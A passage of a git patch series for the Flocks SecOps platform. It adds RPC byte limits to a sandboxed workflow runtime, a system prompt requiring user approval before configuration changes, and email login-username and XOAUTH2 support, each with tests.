None and not cancelled, cancel_futures=True, diff --git a/flocks/workflow/runner.py b/flocks/workflow/runner.py index 7e8d4f52a..3abb686a2 100644 --- a/flocks/workflow/runner.py +++ b/flocks/workflow/runner.py @@ -452,6 +452,14 @@ def run_workflow( if isinstance(runtime_metadata, dict): if "process_rpc_max_bytes" in runtime_metadata: isolated_runtime_options["isolated_rpc_max_bytes"] = runtime_metadata["process_rpc_max_bytes"] + if "process_rpc_max_inflight_bytes" in runtime_metadata: + isolated_runtime_options["isolated_rpc_max_inflight_bytes"] = runtime_metadata[ + "process_rpc_max_inflight_bytes" + ] + if "process_rpc_max_response_bytes" in runtime_metadata: + isolated_runtime_options["isolated_rpc_max_response_bytes"] = runtime_metadata[ + "process_rpc_max_response_bytes" + ] if "process_rpc_max_workers" in runtime_metadata: isolated_runtime_options["isolated_rpc_max_workers"] = runtime_metadata["process_rpc_max_workers"] diff --git a/tests/sandbox/test_workflow_sandbox_runtime.py b/tests/sandbox/test_workflow_sandbox_runtime.py index 92aa4bffe..c195fd95b 100644 --- a/tests/sandbox/test_workflow_sandbox_runtime.py +++ b/tests/sandbox/test_workflow_sandbox_runtime.py @@ -27,6 +27,7 @@ class FakePopen: def __init__(self, *args, **kwargs): _ = args assert kwargs["encoding"] == "utf-8" + assert kwargs["errors"] == "replace" self.stdin = io.StringIO() self.stdout = io.StringIO( '{"type":"final","token":"tok","payload":{"outputs":{"result":1},"stdout":"ok","error":null}}\n' diff --git a/tests/workflow/test_workflow_execution_plan.py b/tests/workflow/test_workflow_execution_plan.py index 2c375be34..4a39c57e7 100644 --- a/tests/workflow/test_workflow_execution_plan.py +++ b/tests/workflow/test_workflow_execution_plan.py @@ -107,6 +107,8 @@ def run(self, *args, **kwargs): # noqa: ANN002, ANN003 workflow.metadata = { "runtime": { "process_rpc_max_bytes": None, + "process_rpc_max_inflight_bytes": 1024 * 1024, + "process_rpc_max_response_bytes": 100_000, "process_rpc_max_workers": 3, } } @@ -119,4 +121,6 @@ def run(self, *args, **kwargs): # noqa: ANN002, ANN003 assert result.status == "SUCCEEDED" runtime = captured_init["runtime"] assert runtime.isolated_rpc_max_bytes is None + assert runtime.isolated_rpc_max_inflight_bytes == 1024 * 1024 + assert runtime.isolated_rpc_max_response_bytes == 100_000 assert runtime.isolated_rpc_max_workers == 3 diff --git a/tests/workflow/test_workflow_node_timeout.py b/tests/workflow/test_workflow_node_timeout.py index 10374574c..9cf796b9a 100644 --- a/tests/workflow/test_workflow_node_timeout.py +++ b/tests/workflow/test_workflow_node_timeout.py @@ -1,8 +1,10 @@ """Regression tests for isolated and compatibility node timeouts.""" +import io import os import threading import time +import tracemalloc import pytest @@ -172,7 +174,11 @@ def run(self, _name, *, value): def test_process_rpc_bridge_defaults_to_32_workers(): assert PythonExecRuntime().isolated_rpc_max_workers == 32 + assert PythonExecRuntime().isolated_rpc_max_inflight_bytes == 64 * 1024 * 1024 + assert PythonExecRuntime().isolated_rpc_max_response_bytes == 2 * 1024 * 1024 assert HostProcessPythonExecRuntime().rpc_max_workers == 32 + assert HostProcessPythonExecRuntime().rpc_max_inflight_bytes == 64 * 1024 * 1024 + assert HostProcessPythonExecRuntime().rpc_max_response_bytes == 2 * 1024 * 1024 @pytest.mark.parametrize("rpc_max_workers", [3, 8]) @@ -296,7 +302,7 @@ def ask(self, _prompt, **_kwargs): monkeypatch.setattr(repl_runtime_module, "get_lazy_llm", lambda **_kwargs: LLM()) - with pytest.raises(NodeExecutionError, match="Bridge payload too large"): + with pytest.raises(NodeExecutionError, match="RPC response exceeds configured limit"): HostProcessPythonExecRuntime(rpc_max_bytes=4096).execute( "outputs['value'] = llm.ask('small')", {}, @@ -304,7 +310,11 @@ def ask(self, _prompt, **_kwargs): def test_process_rpc_bridge_allows_explicitly_unlimited_frames(): - outputs, _stdout = HostProcessPythonExecRuntime(rpc_max_bytes=None).execute( + outputs, _stdout = HostProcessPythonExecRuntime( + rpc_max_bytes=None, + rpc_max_inflight_bytes=None, + rpc_max_response_bytes=None, + ).execute( "outputs['value'] = 'x' * 2048", {}, ) @@ -312,6 +322,170 @@ def test_process_rpc_bridge_allows_explicitly_unlimited_frames(): assert outputs == {"value": "x" * 2048} +def test_process_rpc_bridge_bounds_total_inflight_request_bytes(): + class Registry: + cancel_checker = None + + def __init__(self): + self.active = 0 + self.peak = 0 + self.lock = threading.Lock() + + def run(self, _name, *, value, blob): + _ = blob + with self.lock: + self.active += 1 + self.peak = max(self.peak, self.active) + try: + time.sleep(0.03) + return value + finally: + with self.lock: + self.active -= 1 + + registry = Registry() + outputs, _stdout = HostProcessPythonExecRuntime( + tool_registry=registry, + rpc_max_bytes=800_000, + rpc_max_inflight_bytes=1_000_000, + rpc_max_response_bytes=100_000, + rpc_max_workers=6, + ).execute( + ( + "from concurrent.futures import ThreadPoolExecutor\n" + "blob = 'x' * 700_000\n" + "def call(value):\n" + " return tool.run('bounded', value=value, blob=blob)\n" + "with ThreadPoolExecutor(max_workers=6) as pool:\n" + " outputs['values'] = list(pool.map(call, range(6)))" + ), + {}, + ) + + assert outputs["values"] == list(range(6)) + assert registry.peak == 1 + + +def test_process_rpc_bridge_bounds_responses_without_reducing_worker_concurrency(monkeypatch): + class LLM: + def __init__(self): + self.barrier = threading.Barrier(4) + self.active = 0 + self.peak = 0 + self.lock = threading.Lock() + + def ask(self, _prompt, **_kwargs): + with self.lock: + self.active += 1 + self.peak = max(self.peak, self.active) + try: + self.barrier.wait(timeout=1) + return "x" * 200_000 + finally: + with self.lock: + self.active -= 1 + + llm = LLM() + monkeypatch.setattr(repl_runtime_module, "get_lazy_llm", lambda **_kwargs: llm) + + outputs, _stdout = HostProcessPythonExecRuntime( + rpc_max_bytes=900_000, + rpc_max_inflight_bytes=1_000_000, + rpc_max_response_bytes=250_000, + rpc_max_workers=4, + ).execute( + ( + "from concurrent.futures import ThreadPoolExecutor\n" + "with ThreadPoolExecutor(max_workers=4) as pool:\n" + " outputs['values'] = list(pool.map(lambda i: llm.ask(str(i)), range(4)))" + ), + {}, + ) + + assert [len(value) for value in outputs["values"]] == [200_000] * 4 + assert llm.peak == 4 + + +@pytest.mark.parametrize( + ("runtime_kwargs", "message"), + [ + ({"rpc_max_workers": 33}, "between 1 and 32"), + ( + {"rpc_max_bytes": 2048, "rpc_max_inflight_bytes": 1024}, + "cannot exceed rpc_max_inflight_bytes", + ), + ( + {"rpc_max_bytes": None, "rpc_max_inflight_bytes": 128}, + "must be at least 512 bytes", + ), + ( + { + "rpc_max_bytes": 900_000, + "rpc_max_inflight_bytes": 1_000_000, + "rpc_max_response_bytes": 300_000, + "rpc_max_workers": 4, + }, + "rpc_max_response_bytes and rpc_max_workers exceed", + ), + ], +) +def test_process_rpc_bridge_validates_memory_limit_combinations(runtime_kwargs, message): + with pytest.raises(NodeExecutionError, match=message): + HostProcessPythonExecRuntime(**runtime_kwargs).execute("outputs['ok'] = True", {}) + + +def test_parent_response_size_check_avoids_full_json_copy(): + payload = {"output": "x" * (8 * 1024 * 1024)} + + tracemalloc.start() + try: + with pytest.raises(repl_runtime_module._RPCFrameTooLarge): + repl_runtime_module._json_line_with_limit(payload, 1024) + _, peak = tracemalloc.get_traced_memory() + finally: + tracemalloc.stop() + + assert peak < 512 * 1024 + + +def test_parent_response_encoding_bounds_many_small_json_chunks(): + payload = {"output": [0] * 200_000} + + tracemalloc.start() + try: + line = repl_runtime_module._json_line_with_limit(payload, 1024 * 1024) + _, peak = tracemalloc.get_traced_memory() + finally: + tracemalloc.stop() + + assert len(line) < 1024 * 1024 + assert peak < 3 * 1024 * 1024 + + +def test_stderr_drain_retains_only_bounded_tail(): + chunks = [] + max_bytes = 16 * 1024 + repl_runtime_module._drain_text_stream( + io.StringIO("prefix\n" + "x" * (64 * 1024) + "stderr-tail"), + chunks, + max_bytes=max_bytes, + ) + + stderr = "".join(chunks) + assert stderr.startswith("[stderr truncated to last 16384 bytes]\n") + assert stderr.endswith("stderr-tail") + assert len(stderr.encode("utf-8")) <= max_bytes + 64 + + +def test_host_process_drains_invalid_utf8_stderr_without_stalling(): + outputs, _stdout = HostProcessPythonExecRuntime().execute( + "import os\nos.write(2, b'\\xff' * (512 * 1024))\noutputs['ok'] = True", + {}, + ) + + assert outputs == {"ok": True} + + def test_process_isolated_node_inherits_runtime_rpc_limit(): workflow = Workflow.from_dict({ "start": "large_output", @@ -334,6 +508,33 @@ def test_process_isolated_node_inherits_runtime_rpc_limit(): ).run() +def test_process_isolated_node_inherits_runtime_response_limit(monkeypatch): + class LLM: + def ask(self, _prompt, **_kwargs): + return "x" * 2048 + + monkeypatch.setattr(repl_runtime_module, "get_lazy_llm", lambda **_kwargs: LLM()) + workflow = Workflow.from_dict({ + "start": "large_response", + "nodes": [ + { + "id": "large_response", + "type": "python", + "processIsolated": True, + "code": "outputs['value'] = llm.ask('small')", + } + ], + "edges": [], + }) + + with pytest.raises(NodeExecutionError, match="RPC response exceeds configured limit"): + WorkflowEngine( + workflow, + runtime=PythonExecRuntime(isolated_rpc_max_response_bytes=1024), + node_timeout_s=3, + ).run() + + def test_process_rpc_bridge_cancels_legacy_tool_registry_when_child_exits(): class Registry: cancel_checker = None @@ -579,6 +780,7 @@ def test_host_process_windows_launch_does_not_require_posix_shell(monkeypatch): def checking_popen(args, *popen_args, **popen_kwargs): assert args[0] != "sh" assert popen_kwargs["encoding"] == "utf-8" + assert popen_kwargs["errors"] == "replace" script_paths.append(args[-1]) return real_popen(args, *popen_args, **popen_kwargs) From 2d030efce4db23b7e37f6db27ee52781c79a2dda Mon Sep 17 00:00:00 2001 From: duguwanglong Date: Fri, 7 Aug 2026 16:05:43 +0800 Subject: [PATCH 29/67] feat(prompt): require approval for Flocks config operations --- flocks/session/prompt.py | 12 +++++++ flocks/session/prompt/flocks_config_guard.txt | 9 +++++ tests/session/test_prompt_tokens.py | 33 +++++++++++++++---- tests/session/test_runner_step.py | 3 +- tui/flocks/session/prompt-source.test.ts | 2 ++ tui/flocks/session/prompt-source.ts | 2 ++ tui/flocks/session/system.test.ts | 17 ++++++++-- tui/flocks/session/system.ts | 7 ++-- 8 files changed, 74 insertions(+), 11 deletions(-) create mode 100644 flocks/session/prompt/flocks_config_guard.txt diff --git a/flocks/session/prompt.py b/flocks/session/prompt.py index 12e17ef64..57bf8c3ad 100644 --- a/flocks/session/prompt.py +++ b/flocks/session/prompt.py @@ -83,6 +83,10 @@ def get_prompt_codex() -> str: return _load_prompt_file("codex_header.txt") +def get_prompt_flocks_config_guard() -> str: + return _load_prompt_file("flocks_config_guard.txt") + + PROMPT_DEFAULT = """You are Flocks, an AI-Native SecOps Platform. You specialize in cybersecurity operations including: @@ -1091,6 +1095,7 @@ async def _build_subagent_minimal_prompts( ) -> List[str]: """Build minimal system prompts for built-in system subagents.""" prompts = [ + get_prompt_flocks_config_guard().strip(), cls._normalize_prompt_text(agent_prompt), cls._build_minimal_environment(session_directory), ] @@ -1169,6 +1174,13 @@ async def build_custom_context() -> Optional[str]: digest_inputs={"model_id": model_id}, builder=lambda: cls._join_prompt_parts(SystemPrompt.provider(model_id)), ), + cls._build_cached_prompt_block( + static_cache=static_cache, + name="flocks_config_guard", + cache_scope="global", + digest_inputs={"prompt": get_prompt_flocks_config_guard()}, + builder=lambda: get_prompt_flocks_config_guard().strip(), + ), cls._build_cached_prompt_block( static_cache=static_cache, name="tool_protocol", diff --git a/flocks/session/prompt/flocks_config_guard.txt b/flocks/session/prompt/flocks_config_guard.txt new file mode 100644 index 000000000..43e81a434 --- /dev/null +++ b/flocks/session/prompt/flocks_config_guard.txt @@ -0,0 +1,9 @@ +## Mandatory approval for Flocks configuration operations + +Treat every file that configures Flocks as protected configuration, regardless of its name or location. This includes, but is not limited to, `flocks.json`, `flocks.jsonc`, `mcp_list.json`, `mcp_list.jsonc`, configuration under `.flocks/`, and configuration for agents, models/providers, MCP servers, tools, permissions/sandboxing, channels/integrations, plugins, skills, workflows, secrets, or runtime/startup behavior. + +Before any non-read-only operation involving protected configuration, you MUST call the `question` tool and wait for the user's explicit approval. Protected operations include creating, deleting, editing, overwriting, formatting, moving, renaming, copying into place, changing permissions, generating, applying, importing, migrating, reloading, executing, or sourcing the configuration, as well as running any command, script, or tool that may perform one of those operations. + +The approval question must identify the exact file or files, the proposed operation, and the intended change or effect. The user's original request is not approval by itself, and approval for a different file, operation, or materially different change does not carry over. If the scope changes, ask again. + +Before approval, you may only inspect protected configuration with non-mutating operations and prepare a proposed plan or diff. Do not start a command or tool that may mutate, apply, reload, execute, or source it. If the `question` tool is unavailable, the user rejects the request, or explicit approval has not yet been received, stop without performing the protected operation. This rule also applies to delegated work and subagents; you must not bypass it by asking another agent, tool, or script to act. diff --git a/tests/session/test_prompt_tokens.py b/tests/session/test_prompt_tokens.py index cf130cc66..729b075e7 100644 --- a/tests/session/test_prompt_tokens.py +++ b/tests/session/test_prompt_tokens.py @@ -22,6 +22,7 @@ from flocks.agent.agent import AgentInfo from flocks.session.prompt import ( PROMPT_DEFAULT, + get_prompt_flocks_config_guard, PromptTemplate, SessionPrompt, SystemPrompt, @@ -271,12 +272,13 @@ async def test_builtin_system_subagent_child_uses_minimal_prompt(self): tool_catalog_prompt_factory=lambda: "SHOULD_NOT_APPEAR", ) - assert len(prompts) == 2 - assert prompts[0] == "You are Rex Junior." - assert "## Environment" in prompts[1] - assert "Current working directory: /tmp/project" in prompts[1] - assert "Platform:" in prompts[1] - assert "Today's date:" in prompts[1] + assert len(prompts) == 3 + assert prompts[0] == get_prompt_flocks_config_guard().strip() + assert prompts[1] == "You are Rex Junior." + assert "## Environment" in prompts[2] + assert "Current working directory: /tmp/project" in prompts[2] + assert "Platform:" in prompts[2] + assert "Today's date:" in prompts[2] assert "SHOULD_NOT_APPEAR" not in "\n".join(prompts) assert PROMPT_DEFAULT.strip() not in "\n".join(prompts) @@ -307,6 +309,25 @@ async def test_builtin_system_subagent_root_uses_full_prompt(self): assert len(prompts) > 2 assert any(PROMPT_DEFAULT.strip() in prompt for prompt in prompts) + @pytest.mark.asyncio + async def test_full_prompt_requires_question_approval_for_flocks_config_operations(self): + prompts = await SessionPrompt.build_system_prompts( + session_id="ses-config-guard", + session_directory="/tmp/project", + agent_name="rex", + agent_prompt="You are Rex.", + provider_id="anthropic", + model_id="claude-sonnet", + ) + + guard = get_prompt_flocks_config_guard().strip() + assert guard in prompts + assert "`flocks.json`" in guard + assert "`mcp_list.json`" in guard + assert "MUST call the `question` tool" in guard + assert "user's original request is not approval" in guard + assert "only inspect protected configuration with non-mutating operations" in guard + # --------------------------------------------------------------------------- # SystemPrompt.provider() — returns List[str] diff --git a/tests/session/test_runner_step.py b/tests/session/test_runner_step.py index 723f0e874..efee61f53 100644 --- a/tests/session/test_runner_step.py +++ b/tests/session/test_runner_step.py @@ -33,7 +33,7 @@ StepResult, ToolCall, ) -from flocks.session.prompt import SessionPrompt +from flocks.session.prompt import SessionPrompt, get_prompt_flocks_config_guard from flocks.session.core.defaults import DEFAULT_MAX_TOOL_STEPS from flocks.session.session import Session, SessionInfo from flocks.tool.registry import ToolCategory, ToolInfo @@ -739,6 +739,7 @@ async def test_build_system_prompts_orders_stable_prefix_before_runtime_tail(sel assert prompts == [ "provider prompt", + get_prompt_flocks_config_guard().strip(), "tool protocol", "memory guidance", "agent prompt", diff --git a/tui/flocks/session/prompt-source.test.ts b/tui/flocks/session/prompt-source.test.ts index 4734f6dae..69c7df6e1 100644 --- a/tui/flocks/session/prompt-source.test.ts +++ b/tui/flocks/session/prompt-source.test.ts @@ -6,6 +6,7 @@ import { PROMPT_ANTHROPIC_SPOOF, PROMPT_BEAST, PROMPT_CODEX, + PROMPT_FLOCKS_CONFIG_GUARD, PROMPT_GENERAL, PROMPT_GEMINI, PROMPT_PLAN, @@ -20,6 +21,7 @@ describe("prompt-source", () => { ["beast.txt", PROMPT_BEAST], ["build-switch.txt", BUILD_SWITCH], ["codex_header.txt", PROMPT_CODEX], + ["flocks_config_guard.txt", PROMPT_FLOCKS_CONFIG_GUARD], ["general.txt", PROMPT_GENERAL], ["gemini.txt", PROMPT_GEMINI], ["max-steps.txt", MAX_STEPS], diff --git a/tui/flocks/session/prompt-source.ts b/tui/flocks/session/prompt-source.ts index d86e51400..a3e7ec29b 100644 --- a/tui/flocks/session/prompt-source.ts +++ b/tui/flocks/session/prompt-source.ts @@ -14,6 +14,7 @@ export const [ PROMPT_BEAST, BUILD_SWITCH, PROMPT_CODEX, + PROMPT_FLOCKS_CONFIG_GUARD, PROMPT_GENERAL, PROMPT_GEMINI, MAX_STEPS, @@ -24,6 +25,7 @@ export const [ loadPrompt("beast.txt"), loadPrompt("build-switch.txt"), loadPrompt("codex_header.txt"), + loadPrompt("flocks_config_guard.txt"), loadPrompt("general.txt"), loadPrompt("gemini.txt"), loadPrompt("max-steps.txt"), diff --git a/tui/flocks/session/system.test.ts b/tui/flocks/session/system.test.ts index 710751d8f..2fcb1f80d 100644 --- a/tui/flocks/session/system.test.ts +++ b/tui/flocks/session/system.test.ts @@ -1,7 +1,13 @@ import { describe, expect, test } from "bun:test" import type { Provider } from "@/provider/provider" import { SystemPrompt } from "./system" -import { PROMPT_ANTHROPIC, PROMPT_ANTHROPIC_SPOOF, PROMPT_CODEX, PROMPT_GENERAL } from "./prompt-source" +import { + PROMPT_ANTHROPIC, + PROMPT_ANTHROPIC_SPOOF, + PROMPT_CODEX, + PROMPT_FLOCKS_CONFIG_GUARD, + PROMPT_GENERAL, +} from "./prompt-source" function createModel(id: string): Provider.Model { return { api: { id } } as Provider.Model @@ -17,7 +23,14 @@ describe("system prompt", () => { }) test("trims the Python anthropic spoof header", () => { - expect(SystemPrompt.header("anthropic")).toEqual([PROMPT_ANTHROPIC_SPOOF.trim()]) + expect(SystemPrompt.header("anthropic")).toEqual([ + PROMPT_ANTHROPIC_SPOOF.trim(), + PROMPT_FLOCKS_CONFIG_GUARD.trim(), + ]) + }) + + test("adds the Flocks configuration guard for every provider", () => { + expect(SystemPrompt.header("openai")).toEqual([PROMPT_FLOCKS_CONFIG_GUARD.trim()]) }) test("trims the Python codex instructions", () => { diff --git a/tui/flocks/session/system.ts b/tui/flocks/session/system.ts index 7121ed8e4..ef58e68e4 100644 --- a/tui/flocks/session/system.ts +++ b/tui/flocks/session/system.ts @@ -11,6 +11,7 @@ import { PROMPT_ANTHROPIC_SPOOF, PROMPT_BEAST, PROMPT_CODEX, + PROMPT_FLOCKS_CONFIG_GUARD, PROMPT_GENERAL, PROMPT_GEMINI, } from "./prompt-source" @@ -19,8 +20,10 @@ import { Flag } from "@/flag/flag" export namespace SystemPrompt { export function header(providerID: string) { - if (providerID.includes("anthropic")) return [PROMPT_ANTHROPIC_SPOOF.trim()] - return [] + const prompts: string[] = [] + if (providerID.includes("anthropic")) prompts.push(PROMPT_ANTHROPIC_SPOOF.trim()) + prompts.push(PROMPT_FLOCKS_CONFIG_GUARD.trim()) + return prompts } export function instructions() { From 67c8a7286312df3dfe87dccf3559a3571860ed00 Mon Sep 17 00:00:00 2001 From: John Yin <10972267+john-yin2333@user.noreply.gitee.com> Date: Fri, 7 Aug 2026 16:54:43 +0800 Subject: [PATCH 30/67] fix: support distinct email login username --- flocks/channel/builtin/email/channel.py | 8 ++-- flocks/channel/builtin/email/config.py | 4 +- tests/channel/test_email.py | 51 ++++++++++++++++++++++++- webui/src/locales/en-US/channel.json | 2 + webui/src/locales/zh-CN/channel.json | 2 + webui/src/pages/Channel/index.tsx | 8 ++++ 6 files changed, 69 insertions(+), 6 deletions(-) diff --git a/flocks/channel/builtin/email/channel.py b/flocks/channel/builtin/email/channel.py index 8f88aa55a..c033fad69 100644 --- a/flocks/channel/builtin/email/channel.py +++ b/flocks/channel/builtin/email/channel.py @@ -270,7 +270,7 @@ def _test_connections(self) -> None: imap = self._connect_imap() try: try: - imap.login(cfg["address"], cfg["password"]) + imap.login(cfg["username"], cfg["password"]) self._identify_imap_client(imap) self._select_inbox(imap) if cfg["skipExistingOnStart"]: @@ -292,7 +292,7 @@ def _test_connections(self) -> None: raise RuntimeError(f"SMTP connection test failed: {exc}") from exc try: try: - smtp.login(cfg["address"], cfg["password"]) + smtp.login(cfg["username"], cfg["password"]) except Exception as exc: raise RuntimeError(f"SMTP connection test failed: {exc}") from exc finally: @@ -306,7 +306,7 @@ def _fetch_new_messages(self) -> list[tuple[bytes, InboundMessage]]: parsed_messages: list[tuple[bytes, InboundMessage]] = [] imap = self._connect_imap() try: - imap.login(cfg["address"], cfg["password"]) + imap.login(cfg["username"], cfg["password"]) self._identify_imap_client(imap) self._select_inbox(imap) status, data = imap.uid("search", None, "UNSEEN") @@ -543,7 +543,7 @@ def _send_email( smtp = self._connect_smtp() try: - smtp.login(cfg["address"], cfg["password"]) + smtp.login(cfg["username"], cfg["password"]) smtp.send_message(msg) finally: try: diff --git a/flocks/channel/builtin/email/config.py b/flocks/channel/builtin/email/config.py index c23c7a5e9..a5cffb845 100644 --- a/flocks/channel/builtin/email/config.py +++ b/flocks/channel/builtin/email/config.py @@ -97,6 +97,7 @@ def is_valid_email(raw: str) -> bool: def resolved_config(config: dict[str, Any]) -> dict[str, Any]: """Return normalized Email channel config with defaults applied.""" + address = normalize_email_address(coerce_str(config.get("address"))) imap_port = coerce_int(config.get("imapPort") or config.get("imap_port"), 993) smtp_port = coerce_int(config.get("smtpPort") or config.get("smtp_port"), 587) imap_security = coerce_security_mode(config.get("imapSecurity") or config.get("imap_security")) @@ -108,7 +109,8 @@ def resolved_config(config: dict[str, Any]) -> dict[str, Any]: return { **config, - "address": normalize_email_address(coerce_str(config.get("address"))), + "address": address, + "username": coerce_str(config.get("username")) or address, "password": coerce_str(config.get("password")), "imapHost": coerce_str(config.get("imapHost") or config.get("imap_host")), "imapPort": imap_port, diff --git a/tests/channel/test_email.py b/tests/channel/test_email.py index 018fbe864..7b53624a6 100644 --- a/tests/channel/test_email.py +++ b/tests/channel/test_email.py @@ -117,9 +117,26 @@ def test_config_normalizes_allowed_senders() -> None: }) assert cfg["address"] == "agent@example.com" + assert cfg["username"] == "agent@example.com" assert parse_allowed_senders(cfg) == {"user@example.com", "second@example.com"} +def test_config_allows_distinct_login_username() -> None: + plugin = EmailChannel() + cfg = resolved_config({ + "address": "Agent@Example.COM", + "username": r"EXAMPLE\AgentUser", + "password": "pw", + "imapHost": "imap.example.com", + "smtpHost": "smtp.example.com", + "allowAll": True, + }) + + assert cfg["address"] == "agent@example.com" + assert cfg["username"] == r"EXAMPLE\AgentUser" + assert plugin.validate_config(cfg) is None + + def test_email_parsing_helpers() -> None: assert decode_header_value("=?utf-8?B?TWVyaGFiYQ==?=") == "Merhaba" assert strip_html("

Hello
world & team

") == "Hello\nworld & team" @@ -291,6 +308,7 @@ def test_send_email_threads_reply(monkeypatch: pytest.MonkeyPatch) -> None: plugin = EmailChannel() plugin._resolved = resolved_config({ "address": "agent@example.com", + "username": "agent-login", "password": "pw", "imapHost": "imap.example.com", "smtpHost": "smtp.example.com", @@ -323,6 +341,8 @@ def quit(self): assert msg["Subject"] == "Re: Question" assert msg["In-Reply-To"] == "" assert msg["References"] == "" + assert msg["From"] == "agent@example.com" + assert sent["login"] == ("agent-login", "pw") def test_send_email_prefers_requested_thread_context(monkeypatch: pytest.MonkeyPatch) -> None: @@ -454,6 +474,7 @@ def test_fetch_new_messages_sends_imap_id_before_select(monkeypatch: pytest.Monk plugin = EmailChannel() plugin._resolved = resolved_config({ "address": "agent@example.com", + "username": "agent-login", "password": "pw", "imapHost": "imap.example.com", "smtpHost": "smtp.example.com", @@ -463,7 +484,8 @@ def test_fetch_new_messages_sends_imap_id_before_select(monkeypatch: pytest.Monk calls: list[str] = [] class FakeIMAP: - def login(self, *_args): + def login(self, username, password): + assert (username, password) == ("agent-login", "pw") calls.append("login") return "OK", [b"LOGIN completed"] @@ -489,6 +511,33 @@ def logout(self): assert calls[:4] == ["login", "xatom:ID", "select:INBOX", "uid:search"] +def test_test_connections_uses_login_username(monkeypatch: pytest.MonkeyPatch) -> None: + plugin = EmailChannel() + plugin._resolved = resolved_config({ + "address": "agent@example.com", + "username": "agent-login", + "password": "pw", + "imapHost": "imap.example.com", + "smtpHost": "smtp.example.com", + "allowAll": True, + "skipExistingOnStart": False, + }) + + fake_imap = MagicMock() + fake_imap.login.return_value = ("OK", [b"LOGIN completed"]) + fake_imap.xatom.return_value = ("OK", [b"ID completed"]) + fake_imap.select.return_value = ("OK", [b"0"]) + fake_smtp = MagicMock() + + monkeypatch.setattr(plugin, "_connect_imap", lambda: fake_imap) + monkeypatch.setattr(plugin, "_connect_smtp", lambda: fake_smtp) + + plugin._test_connections() + + fake_imap.login.assert_called_once_with("agent-login", "pw") + fake_smtp.login.assert_called_once_with("agent-login", "pw") + + def test_fetch_new_messages_reports_select_failure_without_search(monkeypatch: pytest.MonkeyPatch) -> None: plugin = EmailChannel() plugin._resolved = resolved_config({ diff --git a/webui/src/locales/en-US/channel.json b/webui/src/locales/en-US/channel.json index 63c840695..aa69881a8 100644 --- a/webui/src/locales/en-US/channel.json +++ b/webui/src/locales/en-US/channel.json @@ -294,6 +294,8 @@ "credentialsDesc": "Use a dedicated mailbox with IMAP enabled and an app password.", "address": "Email Address", "addressHint": "Address that receives user mail and sends agent replies.", + "username": "Login Username", + "usernameHint": "Optional. Defaults to the email address. Use this for Exchange or corporate mailboxes that require a bare username or DOMAIN\\username.", "password": "Password", "passwordHint": "Enable IMAP/SMTP in the mailbox provider settings first, then enter the generated client authorization code or app password. Most providers do not accept the normal web login password here. Stored in the Flocks secret store.", "servers": "Mail Servers", diff --git a/webui/src/locales/zh-CN/channel.json b/webui/src/locales/zh-CN/channel.json index ac2fe2c6a..005109942 100644 --- a/webui/src/locales/zh-CN/channel.json +++ b/webui/src/locales/zh-CN/channel.json @@ -296,6 +296,8 @@ "credentialsDesc": "建议使用专用邮箱，并启用 IMAP 与应用专用密码。", "address": "邮箱地址", "addressHint": "用于接收用户邮件并发送 Agent 回复的邮箱地址。", + "username": "登录用户名", + "usernameHint": "选填。未填写时使用邮箱地址登录；适用于 Exchange/企业邮箱要求裸用户名或 DOMAIN\\username 登录的场景。", "password": "邮箱密码", "passwordHint": "请先在邮箱服务商后台开启 IMAP/SMTP 服务，并填写生成的客户端授权码或应用专用密码；通常不是邮箱登录密码。保存时会进入 Flocks 密钥存储。", "servers": "邮件服务器", diff --git a/webui/src/pages/Channel/index.tsx b/webui/src/pages/Channel/index.tsx index 776d76d52..33e2316c1 100644 --- a/webui/src/pages/Channel/index.tsx +++ b/webui/src/pages/Channel/index.tsx @@ -148,6 +148,7 @@ interface SlackChannelConfig { interface EmailChannelConfig { enabled: boolean; address?: string; + username?: string; password?: string; imapHost?: string; imapPort?: number; @@ -2071,6 +2072,13 @@ function EmailPanel({ config, onChange }: EmailPanelProps) { placeholder="agent@example.com" /> + + set('username', v || undefined)} + placeholder="username" + /> + Date: Fri, 7 Aug 2026 16:58:35 +0800 Subject: [PATCH 31/67] feat: support email XOAUTH2 authentication --- flocks/channel/builtin/email/channel.py | 35 +++++++++++-- flocks/channel/builtin/email/config.py | 11 +++++ tests/channel/test_email.py | 66 +++++++++++++++++++++++++ webui/src/locales/en-US/channel.json | 6 +++ webui/src/locales/zh-CN/channel.json | 6 +++ webui/src/pages/Channel/index.tsx | 35 +++++++++++-- 6 files changed, 149 insertions(+), 10 deletions(-) diff --git a/flocks/channel/builtin/email/channel.py b/flocks/channel/builtin/email/channel.py index c033fad69..4ec9d3378 100644 --- a/flocks/channel/builtin/email/channel.py +++ b/flocks/channel/builtin/email/channel.py @@ -94,13 +94,19 @@ def validate_config(self, config: dict) -> Optional[str]: cfg = resolved_config(config) missing = [ name - for name in ("address", "password", "imapHost", "smtpHost") + for name in ("address", "imapHost", "smtpHost") if not cfg.get(name) ] + if cfg["authMode"] == "password" and not cfg.get("password"): + missing.append("password") + if cfg["authMode"] == "xoauth2" and not cfg.get("accessToken"): + missing.append("accessToken") if missing: return "Missing required config: " + ", ".join(missing) if not is_valid_email(cfg["address"]): return "Invalid email address" + if cfg["authMode"] not in {"password", "xoauth2"}: + return "Email auth mode must be one of: password, xoauth2" if cfg["imapPort"] <= 0 or cfg["smtpPort"] <= 0: return "IMAP/SMTP ports must be positive integers" if cfg["imapSecurity"] not in {"ssl", "starttls", "insecure"}: @@ -270,7 +276,7 @@ def _test_connections(self) -> None: imap = self._connect_imap() try: try: - imap.login(cfg["username"], cfg["password"]) + self._authenticate_imap(imap) self._identify_imap_client(imap) self._select_inbox(imap) if cfg["skipExistingOnStart"]: @@ -292,7 +298,7 @@ def _test_connections(self) -> None: raise RuntimeError(f"SMTP connection test failed: {exc}") from exc try: try: - smtp.login(cfg["username"], cfg["password"]) + self._authenticate_smtp(smtp) except Exception as exc: raise RuntimeError(f"SMTP connection test failed: {exc}") from exc finally: @@ -306,7 +312,7 @@ def _fetch_new_messages(self) -> list[tuple[bytes, InboundMessage]]: parsed_messages: list[tuple[bytes, InboundMessage]] = [] imap = self._connect_imap() try: - imap.login(cfg["username"], cfg["password"]) + self._authenticate_imap(imap) self._identify_imap_client(imap) self._select_inbox(imap) status, data = imap.uid("search", None, "UNSEEN") @@ -497,6 +503,25 @@ def _connect_imap(self) -> imaplib.IMAP4: raise RuntimeError(f"IMAP STARTTLS not available: {response}") return imap + def _xoauth2_initial_response(self) -> str: + cfg = self._resolved + return f"user={cfg['username']}\x01auth=Bearer {cfg['accessToken']}\x01\x01" + + def _authenticate_imap(self, imap: imaplib.IMAP4) -> None: + cfg = self._resolved + if cfg["authMode"] == "xoauth2": + response = self._xoauth2_initial_response().encode("utf-8") + imap.authenticate("XOAUTH2", lambda _challenge: response) + return + imap.login(cfg["username"], 